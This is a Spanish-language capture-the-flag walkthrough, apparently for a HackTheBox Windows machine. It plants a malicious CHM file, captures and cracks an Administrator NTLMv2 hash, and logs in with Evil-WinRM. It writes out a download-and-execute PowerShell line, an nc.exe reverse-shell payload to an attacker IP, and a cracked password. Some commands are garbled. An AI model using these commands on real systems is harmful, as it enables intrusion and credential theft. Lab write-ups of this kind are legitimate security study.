> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md).

# Subida de archivos y captura de NTLMv2 .chm

**Exploración del directorio "docs":**/ En la **Windows** raíz, encontramos una **docs** carpeta que contiene un archivo `note.txt` con el siguiente mensaje:

<figure><img src="/files/15a14a20df0457e45e1d20678df1a808d3baa329" alt=""><figcaption></figcaption></figure>

> Hola Chris,
>
> Tus habilidades de PHP son realmente malas. Contacta a Yamitenshi para que te enseñen a usarlo, luego arregla el sitio porque hay muchos errores. También espero que hayas preparado la documentación para nuestra nueva aplicación. Colócala aquí cuando hayas terminado.
>
> Atentamente,/ Sniper CEO. **Búsqueda de documentación en el sistema:**/ Buscamos la documentación mencionada por el CEO y la encontramos en el directorio **Downloads** en el archivo **instructions.chm**.

<figure><img src="/files/bdccccebff1014059742e903a878686ee364db61" alt="" width="563"><figcaption></figcaption></figure>

### **Creación de un archivo CHM malicioso:**

Después de descubrir que el CEO quería revisar archivos **CHM** en el directorio **docs**, investigamos en línea cómo crear archivos CHM maliciosos.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Clinkt/Out-CHM.ps1>" %}

**Descarga de la herramienta HTML Help:**/ Descargamos **HTML Help** y usamos un script de PowerShell para crear un archivo CHM malicioso

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClinkt).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Clinkt/Out-CHM.ps1')

```

Luego, modificamos el script para ejecutar un comando malicioso de forma remota mediante **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"

```

<figure><img src="/files/62637d20712bca678f53d7d90cfb096e2580a23a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4c772cf0cc013a353f986bc46ffeb41ce03a700c" alt="" width="563"><figcaption></figcaption></figure>

**Inyección del archivo CHM malicioso en el directorio objetivo:**/ Hemos configurado un servidor SMB en nuestra máquina atacante para transferir el archivo malicioso a la máquina Windows objetivo:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234

```

**Conexión al recurso compartido SMB desde la máquina víctima:**/ Desde la máquina Windows objetivo, montamos el recurso compartido SMB y copiamos el archivo malicioso `doc.chm`:

```powershell
nand use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm

```

**Iniciar un oyente de reverse shell:**/ Hemos iniciado un oyente en nuestra máquina atacante, esperando una reverse shell de acceso:

```bash
rlwrap nc -nlvp 443

```

<figure><img src="/files/f238fbde46659738568bdb37b67f3bf8096c869a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cec698307a80aa8d48402eea289ca605bfb71fb7" alt="" width="563"><figcaption></figcaption></figure>

**Problema encontrado:**/ Aunque se abrió el archivo CHM, no recibimos una reverse shell. Sin embargo, capturamos correctamente una **SMB Relay V2** en nuestro servidor. Esto nos proporcionó un hash de autenticación para el usuario `Administrator`

<figure><img src="/files/5108149b58f2cfbccf25d51ba369cc5bc3823157" alt=""><figcaption></figcaption></figure>

#### **Crackeo del hash del administrador:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`Administrator:butterfly!#1`

<figure><img src="/files/40521e5dbd23db321138942814d227d511a3d7c1" alt=""><figcaption></figcaption></figure>

#### **Conexión como administrador:**

Con las credenciales obtenidas, hemos usado **Evil-WinRM** para conectarnos a la máquina como administrador:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'

```

<figure><img src="/files/f6d9194571b4ebac733bffe086e05154593adbdf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
